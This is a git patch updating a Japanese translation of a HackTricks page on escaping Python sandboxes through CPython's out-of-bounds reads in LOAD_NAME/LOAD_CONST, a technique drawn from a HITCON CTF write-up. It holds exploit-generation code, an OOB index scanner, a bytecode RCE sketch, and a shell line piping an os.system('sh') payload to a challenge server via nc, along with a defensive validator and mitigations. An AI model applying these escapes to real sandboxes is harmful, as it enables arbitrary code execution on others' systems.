From 4fe24ac8df54759e21b007fb5062226275909639 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 18:42:14 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/bypass-pytho --- .../load_name-load_const-opcode-oob-read.md | 141 ++++++++++++++++-- 1 file changed, 128 insertions(+), 13 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index 729faa475..6ca7989db 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**この情報は** [**この書き込みから**](https://blog.splitline.tw/hitcon-ctf-2022/)**取得されました。** +**この情報は** [**このレポートから**](https://blog.splitline.tw/hitcon-ctf-2022/)**取得されました。** ### TL;DR @@ -21,11 +21,11 @@ print(eval(code, {'__builtins__': {}}))1234 ``` 任意のPythonコードを入力できますが、それは[Pythonコードオブジェクト](https://docs.python.org/3/c-api/code.html)にコンパイルされます。しかし、そのコードオブジェクトの`co_consts`と`co_names`は、evalがそのコードオブジェクトを実行する前に空のタプルに置き換えられます。 -このようにして、すべての式に定数(例:数値、文字列など)や名前(例:変数、関数)が含まれている場合、最終的にセグメンテーションフォルトを引き起こす可能性があります。 +このようにして、すべての式が定数(例:数値、文字列など)や名前(例:変数、関数)を含む場合、最終的にセグメンテーションフォルトを引き起こす可能性があります。 ### Out of Bound Read -セグフォルトはどのように発生するのでしょうか? +セグフォルトはどのように発生しますか? 簡単な例から始めましょう。`[a, b, c]`は次のバイトコードにコンパイルされる可能性があります。 ``` @@ -39,7 +39,7 @@ print(eval(code, {'__builtins__': {}}))1234 解決策の核心概念はシンプルです。CPythonのいくつかのオペコード、例えば `LOAD_NAME` と `LOAD_CONST` は境界外読み取りに対して脆弱です(?)。 -これらは、`consts` または `names` タプルからインデックス `oparg` のオブジェクトを取得します(これが内部で `co_consts` と `co_names` と呼ばれるものです)。以下の短いスニペットを参照して、CPythonが `LOAD_CONST` オペコードを処理する際に何を行うかを見てみましょう。 +これらは、`consts` または `names` タプルから `oparg` インデックスのオブジェクトを取得します(これが内部で `co_consts` と `co_names` と呼ばれるものです)。以下の短いスニペットを参照して、CPythonが `LOAD_CONST` オペコードを処理する際に何を行うかを見てみましょう。 ```c case TARGET(LOAD_CONST): { PREDICTED(LOAD_CONST); @@ -49,19 +49,19 @@ PUSH(value); FAST_DISPATCH(); }1234567 ``` -この方法で、任意のメモリオフセットから「名前」を取得するためにOOB機能を使用できます。その名前が何で、オフセットが何であるかを確認するには、`LOAD_NAME 0`、`LOAD_NAME 1` ... `LOAD_NAME 99` ... を試し続けてください。そして、オパラグが700を超える何かを見つけることができるかもしれません。もちろん、gdbを使用してメモリレイアウトを確認することもできますが、それがもっと簡単になるとは思いませんか? +この方法で、OOB機能を使用して任意のメモリオフセットから「名前」を取得できます。どの名前があり、オフセットが何であるかを確認するには、`LOAD_NAME 0`、`LOAD_NAME 1` ... `LOAD_NAME 99` ... を試し続けてください。そして、オパラグが700を超える何かを見つけることができるかもしれません。もちろん、gdbを使用してメモリレイアウトを確認することもできますが、それがより簡単になるとは思いませんか? -### エクスプロイトの生成 +### Exploitの生成 -有用な名前/定数のオフセットを取得したら、そのオフセットから名前/定数をどのように取得し、それを使用するのでしょうか?ここにあなたへのトリックがあります:\ -オフセット5(`LOAD_NAME 5`)から`__getattribute__`の名前を取得できると仮定しましょう(`co_names=()`)。その後、次のことを行います: +有用な名前/定数のオフセットを取得したら、どのようにそのオフセットから名前/定数を取得して使用するのでしょうか?ここにあなたへのトリックがあります:\ +オフセット5(`LOAD_NAME 5`)から`__getattribute__`の名前を取得できると仮定しましょう(`co_names=()`)。その場合、次のことを行ってください: ```python [a,b,c,d,e,__getattribute__] if [] else [ [].__getattribute__ # you can get the __getattribute__ method of list object now! ]1234 ``` -> `__getattribute__` と名付ける必要はなく、もっと短い名前や奇妙な名前を付けることができます。 +> `__getattribute__`と名付ける必要はなく、もっと短い名前や奇妙な名前を付けることができます。 その理由は、バイトコードを見るだけで理解できます: ```python @@ -80,9 +80,9 @@ FAST_DISPATCH(); 24 BUILD_LIST 1 26 RETURN_VALUE1234567891011121314 ``` -`LOAD_ATTR`が`co_names`から名前を取得することにも注意してください。Pythonは名前が同じであれば同じオフセットから名前をロードしますので、2番目の`__getattribute__`もoffset=5からロードされます。この機能を利用することで、名前が近くのメモリにある場合に任意の名前を使用できます。 +`LOAD_ATTR`は`co_names`から名前を取得することにも注意してください。Pythonは名前が同じであれば同じオフセットから名前をロードしますので、2番目の`__getattribute__`もoffset=5からロードされます。この機能を利用することで、名前が近くのメモリにある場合に任意の名前を使用することができます。 -数字を生成するのは簡単なはずです: +数を生成するのは簡単なはずです: - 0: not \[\[]] - 1: not \[] @@ -128,7 +128,7 @@ print(f'{n}: {ret}') # for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132 ``` -そして、次は実際のPythonエクスプロイトを生成するためのものです。 +次は、実際のPythonエクスプロイトを生成するためのものです。 ```python import sys import unicodedata @@ -205,7 +205,7 @@ print(source) # (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273 ``` -基本的に、`__dir__` メソッドから取得した文字列に対して以下のことを行います: +それは基本的に次のことを行います。私たちはその文字列を`__dir__`メソッドから取得します: ```python getattr = (None).__getattribute__('__class__').__getattribute__ builtins = getattr( @@ -218,4 +218,119 @@ getattr( '__repr__').__getattribute__('__globals__')['builtins'] builtins['eval'](builtins['input']()) ``` +--- + +### バージョンノートと影響を受けるオペコード (Python 3.11–3.13) + +- CPython バイトコードオペコードは、整数オペランドによって `co_consts` と `co_names` タプルにインデックスを付けます。攻撃者がこれらのタプルを空にする(またはバイトコードで使用される最大インデックスよりも小さくする)ことができれば、インタプリタはそのインデックスのために範囲外のメモリを読み取り、近くのメモリから任意の PyObject ポインタを得ることになります。関連するオペコードには少なくとも以下が含まれます: +- `LOAD_CONST consti` → `co_consts[consti]` を読み取ります。 +- `LOAD_NAME namei`、`STORE_NAME`、`DELETE_NAME`、`LOAD_GLOBAL`、`STORE_GLOBAL`、`IMPORT_NAME`、`IMPORT_FROM`、`LOAD_ATTR`、`STORE_ATTR` → `co_names[...]` から名前を読み取ります(3.11+ では `LOAD_ATTR`/`LOAD_GLOBAL` が低ビットにフラグビットを格納することに注意してください; 実際のインデックスは `namei >> 1` です)。バージョンごとの正確な意味については、ディスアセンブラのドキュメントを参照してください。[Python dis docs]。 +- Python 3.11+ では、命令の間に隠れた `CACHE` エントリを追加する適応/インラインキャッシュが導入されました。これは OOB プリミティブを変更するものではなく、バイトコードを手作りする場合は、`co_code` を構築する際にこれらのキャッシュエントリを考慮する必要があることを意味します。 + +実用的な影響:このページの技術は、コードオブジェクトを制御できる場合(例:`CodeType.replace(...)` を介して)に、`co_consts`/`co_names` を縮小することで CPython 3.11、3.12、3.13 で引き続き機能します。 + +### 有用な OOB インデックスのためのクイックスキャナー (3.11+/3.12+ 互換) + +高レベルのソースからではなく、バイトコードから直接興味深いオブジェクトを探すことを好む場合は、最小限のコードオブジェクトを生成し、インデックスをブルートフォースすることができます。以下のヘルパーは、必要に応じてインラインキャッシュを自動的に挿入します。 +```python +import dis, types + +def assemble(ops): +# ops: list of (opname, arg) pairs +cache = bytes([dis.opmap.get("CACHE", 0), 0]) +out = bytearray() +for op, arg in ops: +opc = dis.opmap[op] +out += bytes([opc, arg]) +# Python >=3.11 inserts per-opcode inline cache entries +ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0) +out += cache * ncache +return bytes(out) + +# Reuse an existing function's code layout to simplify CodeType construction +base = (lambda: None).__code__ + +# Example: probe co_consts[i] with LOAD_CONST i and return it +# co_consts/co_names are intentionally empty so LOAD_* goes OOB + +def probe_const(i): +code = assemble([ +("RESUME", 0), # 3.11+ +("LOAD_CONST", i), +("RETURN_VALUE", 0), +]) +c = base.replace(co_code=code, co_consts=(), co_names=()) +try: +return eval(c) +except Exception: +return None + +for idx in range(0, 300): +obj = probe_const(idx) +if obj is not None: +print(idx, type(obj), repr(obj)[:80]) +``` +ノート +- 名前を調べるには、`LOAD_CONST`を`LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR`に置き換え、スタックの使用を適切に調整します。 +- 必要に応じて、`EXTENDED_ARG`または複数のバイトの`arg`を使用して、インデックス>255に到達します。上記のように`dis`で構築する際は、低バイトのみを制御します。より大きなインデックスの場合は、生のバイトを自分で構築するか、攻撃を複数のロードに分割します。 + +### 最小バイトコードのみのRCEパターン (co_consts OOB → builtins → eval/input) + +`co_consts`インデックスがbuiltinsモジュールに解決されることを特定したら、スタックを操作することで`eval(input())`を`co_names`なしで再構築できます: +```python +# Build co_code that: +# 1) LOAD_CONST → push builtins module +# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval' +# out of objects living nearby in memory (e.g., from method tables), +# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE +# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode. +``` +このアプローチは、`co_code` に直接制御を与え、`co_consts=()` および `co_names=()` を強制するチャレンジ(例:BCTF 2024 “awpcode”)で有用です。ソースレベルのトリックを回避し、バイトコードスタック操作とタプルビルダーを活用することでペイロードサイズを小さく保ちます。 + +### サンドボックスのための防御的チェックと緩和策 + +信頼できないコードをコンパイル/評価するか、コードオブジェクトを操作する Python “sandbox” を作成している場合、バイトコードによって使用されるタプルインデックスの境界チェックに CPython に依存しないでください。代わりに、実行する前にコードオブジェクトを自分で検証してください。 + +実用的なバリデーター(co_consts/co_names への OOB アクセスを拒否) +```python +import dis + +def max_name_index(code): +max_idx = -1 +for ins in dis.get_instructions(code): +if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME", +"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}: +namei = ins.arg or 0 +# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit +if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}: +namei >>= 1 +max_idx = max(max_idx, namei) +return max_idx + +def max_const_index(code): +return max([ins.arg for ins in dis.get_instructions(code) +if ins.opname == "LOAD_CONST"] + [-1]) + +def validate_code_object(code: type((lambda:0).__code__)): +if max_const_index(code) >= len(code.co_consts): +raise ValueError("Bytecode refers to const index beyond co_consts length") +if max_name_index(code) >= len(code.co_names): +raise ValueError("Bytecode refers to name index beyond co_names length") + +# Example use in a sandbox: +# src = input(); c = compile(src, '', 'exec') +# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first +# validate_code_object(c) +# eval(c, {'__builtins__': {}}) +``` +追加の緩和策 +- 信頼できない入力に対して任意の `CodeType.replace(...)` を許可しないか、結果のコードオブジェクトに対して厳格な構造チェックを追加してください。 +- CPythonのセマンティクスに依存するのではなく、OSレベルのサンドボックス(seccomp、ジョブオブジェクト、コンテナ)で信頼できないコードを別のプロセスで実行することを検討してください。 + + + +## 参考文献 + +- SplitlineのHITCON CTF 2022のレポート「V O I D」(この技術の起源と高レベルのエクスプロイトチェーン): https://blog.splitline.tw/hitcon-ctf-2022/ +- Python逆アセンブラのドキュメント(LOAD_CONST/LOAD_NAMEなどのインデックスセマンティクス、および3.11+の `LOAD_ATTR`/`LOAD_GLOBAL` 低ビットフラグ): https://docs.python.org/3.13/library/dis.html {{#include ../../../banners/hacktricks-training.md}}